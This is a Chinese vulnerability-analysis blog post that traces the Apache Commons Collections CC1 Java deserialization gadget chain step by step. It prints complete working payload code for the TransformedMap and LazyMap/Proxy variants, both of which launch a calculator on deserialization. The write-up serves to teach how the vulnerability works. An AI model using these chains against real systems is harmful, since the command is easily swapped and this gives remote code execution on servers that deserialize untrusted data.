作者:Narcher 时间:2024/2/23 分类:Vulnerability Analysis
前言
开始之前,我们先了解一下正射和反射。
JAVA中,如果我们要调用起计算器,正常的命令执行为:
1
| Runtime.getRuntime().exec("calc");
|
但上边使用的是正射,是无法序列化写入文件中的,如果要存入文件,我们需要利用反射来实现:
1 2 3 4
| Runtime r = Runtime.getRuntime(); Class c = r.getClass(); Method m = c.getMethod("exec",String.class); m.invoke(r,"calc");
|
所谓的CC链,实际上就是针对Apache Commons Collections组件的payload,其核心便是利用JAVA的反射机制来调用任意函数。
正文
针对JAVA的反序列化漏洞,思路大致和php的反序列化漏洞一致,就是从终点往前找,首先确定一个调用了危险方法的类,并且继承了序列化接口,然后逐步溯源,直到找到一个重写了readObject方法的类,并且符合条件,那么就成功了。
下面我们以CC1链为例,进行分析。
CC1链的源头便是InvokerTransformer类,关键在于其构造器和继承了Transformer接口的transform方法,我们来看一下它的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
|
从构造器中可以得知其三个参数都是可以控制的,而方法transform是不是有点眼熟?没错,这就是在前言中讲到的反射。
我们尝试利用InvokerTransformer类执行之前的命令:
1 2 3 4 5 6
| Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); invokerTransformer.transform(r);
|
执行上述代码,发现成功弹出计算器。
这样,终点就找到了,我们便需要进行溯源,寻找上一站。
2.溯源
我们向上找能够利用transform方法的类:
发现有很多,于是便一个个点开查看,最终发现LazyMap,TransformedMap和DefaultedMap存在利用点,我们先只看TransformedMap这个类。
1 2 3 4 5 6 7 8 9
| protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
|
然而,TransformerMap的checkSerValue方法以及其构造器都是protected类型的,只能在内部访问,因此我们需要找一个使其实例化的方法,紧接着便看到了TransformedMap中public属性的decorate方法:
1 2 3
| public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
|
因此我们可以利用TransformedMap类的decorate方法,让其实例化,之后再想办法触发checkSetValue方法。
2.2 Map遍历
我们查找调用过checkSetValue方法的地方,发现TransformedMap的父类AbstractInputCheckedMapDecorator恰好调用了该方法,且其中的setValue方法为public类型
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; }
public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
|
而MapEntry继承了AbstractMapEntryDecorator类,AbstractMapEntryDecorator类中继承了Map.Entry接口,可进行Map遍历
因此我们通过Map遍历时即可调用TransformedMap的父类AbstractInputCheckedMapDecorator中的setValue方法来触发TransformedMap中的checkSetValue方法。
1 2 3 4 5 6 7 8
| Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> map = new HashMap<>(); map.put("key","value"); Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,invokerTransformer); for(Map.Entry entry:transformedmap.entrySet()){ entry.setValue(r); }
|
执行上述代码即可弹出计算器,然而,溯源还未结束,我们接着找调用了setValue方法的类。
2.3 起点–AnnotationInvocationHandler类
经查找可得:
该类中调用setValue方法的代码如下:
两个if语句,第一个if判断注解中是否有成员变量,第二个if判断是否能够强转。
可见此类中利用的setValue方法恰好写在readObject方法中,只要我们能够控制里边的参数,便可大功告成。
于是我们去找该类的构造器:
1 2 3 4 5 6 7 8 9 10
| AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; }
|
接下来第一个参数的构造需要符合这几个if条件,首先,需要是注解类型;其次,内部需要有成员变量,以便在for循环的Map遍历中通过。
像常见的Override注解:
不包含任何成员变量。
因此,我们选用Target注解:
与此同时,更改map.put(“value”,”value”),使其memberType不为空。
但还有一个问题,那就是AnnotationInvocationHandler类并没有public属性,因此仅能够在sun.reflect.annotation这个包下边调用,因此我们就需要用到反射来实现外部调用。
经过上述溯源,我们成功找到了一条链,接下来我们需要将其以代码形式串联起来。
3.构造链
3.1 反射获取Runtime实例
Runtime是单例类,且不继承Seralizeable接口,无法在序列化时写入文件,而它的原型类Class则继承了Seralizeable接口,因此我们使用反射获取其原型类。
1 2 3 4 5
| Class rc=Class.forName("java.lang.Runtime"); Method getRuntime = rc.getDeclaredMethod("getRuntime",null); Runtime r = (Runtime) getRuntime.invoke(null,null); Method exec = rc.getDeclaredMethod("exec",String.class); exec.invoke(r,"calc");
|
这样便可实现序列化,我们采用InvokerTransformer类的transform方法实现上述过程:
1 2 3 4
| Class rc = Class.forName("java.lang.Runtime"); Method getRuntime = (Method)new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer("getRuntime",new Class[]{Object.class,Object.class},new Object[]{null,null}).transform(getRuntime); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
|
1 2 3 4 5 6 7 8 9 10 11
| public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; }
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
|
ChainedTransformer类中存在的transform方法类似于递归调用,因此我们可以以数组的形式传入InvokerTransformer类的transform方法实现的获取Runtime实例的过程,故更改代码如下:
1 2 3 4 5 6 7
| Transformer[] transformers=new Transformer[]{ new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer= new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
|
然而,在实际的环境中,我们不可能直接调用chainedTransformer的transform方法来传入Runtime.class。因此,我们需要将Runtime.class作为递归的开头传入进去,而直接传入是不可能的,我们需要一个类来作为载体。与此同时,我们还忽略了一个问题,那就是AnnotationInvocationHandler类中的setValue参数不可控。
先来看一下该类的源码:
1 2 3 4 5 6 7 8
| public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; }
public Object transform(Object input) { return iConstant; }
|
该类的transform方法很有意思,无论传入何值,均会返回构造时传入的常量,因此,我们可以直接将Transformer数组改成如下:
1 2 3 4 5 6
| Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
|
3.4 构造完成
完整的CC1链如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer= new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class,transformedmap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Narcher\\IdeaProjects\\CC1.txt")); oos.writeObject(o);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\Narcher\\IdeaProjects\\CC1.txt")); ois.readObject();
|
成功执行便会弹出计算器:
4.思路转换
本次分析的CC1链是国内基于TransformerMap类的链,而我们常用的ysoserial中的则是国外基于LazyMap的链,其思路如下:
payload也和之前的类似,不过是将TransformerMap改为了LazyMap,利用方法由checkSetValue变为了get,并多了一步Proxy触发invoke方法,至于注解类型,由于我们利用的是get方法,所以不需要进入if,直接随便传一个注解就可以了。最后使用AnnotationInvocationHandler类进行包装,毕竟我们需要使用它的readObject方法进行反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer= new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); map.put("value","value"); LazyMap innerMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class,innerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler); handler = (InvocationHandler) constructor.newInstance(Target.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Narcher\\IdeaProjects\\CC1.txt")); oos.writeObject(handler);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\Narcher\\IdeaProjects\\CC1.txt")); ois.readObject();
|